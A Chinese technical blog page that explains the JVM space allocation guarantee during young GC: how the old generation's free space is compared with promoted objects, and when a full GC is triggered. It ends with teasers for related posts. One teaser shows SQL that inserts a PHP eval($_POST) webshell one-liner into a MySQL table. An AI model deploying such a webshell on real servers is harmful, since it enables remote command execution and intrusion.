一句話解釋JVM中空間分配擔保的問題

2022-03-07 23:21:17 字數 679 閱讀 6659

先解釋ygc:

當物件生成在eden區失敗時,出發一次ygc,先掃瞄eden區中的存活物件,進入s0區,s0放不下的進入old區,再掃瞄s1區,若存活次數超過閥值則進入old區,其它進入s0區,然後s0和s1交換一次。

那麼當發生ygc時,jvm會首先檢查老年代最大的可用連續空間是否大於新生代所有物件的總和,如果大於,那麼這次ygc是安全的,如果不大於的話,jvm就需要判斷handlepromotionfailure是否允許空間分配擔保。

允許分配擔保:

jvm繼續檢查老年代最大的可用連續空間是否大於歷次晉公升到老年代的物件的平均大小,如果大於,則正常進行一次ygc,儘管有風險(因為判斷的是平均大小,有可能這次的晉公升物件比平均值大很多);

如果小於,或者handlepromotionfailure設定不允許空間分配擔保,這時要進行一次fgc。

新生代採用的是複製收集演算法,s0和s1始終只是用其中一塊記憶體區,當出現ygc後大部分物件仍然存活的話,就需要老年代進行分配擔保,把survior區無法容納的物件直接晉公升到老年代。

那麼這種空間分配擔保的前提是老年代還有容納的空間,一共有多少物件會活下來,在實際完成記憶體**之前是無法明確知道的,所以只好取之前每次**晉公升到老年代物件容量的平均值大小作為經驗值,與老年代的剩餘空間比較,決定是否進行fgc來讓老年代騰出更多空間。

一句話解釋j security check

謝 配置認證方式為form,指定登陸頁面login.jsp和登陸失敗頁面loginerr.jsp。有請求受保護資源protect.wss 容器就踢回到login.jsp,輸入使用者名稱和密碼提交給j security check,容器進行安全認證,方式是使用者指定好的,一般有ldap或其他方式,認證...

一句話解釋ThreadLocal類

乙個thread類,有乙個treadlocals變數,型別為threadlocal.threadlocalmap 初始值為null,這個變數,屬於該執行緒,這個map由threadlocal類維護。threadlocal values pertaining to this thread.this m...

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...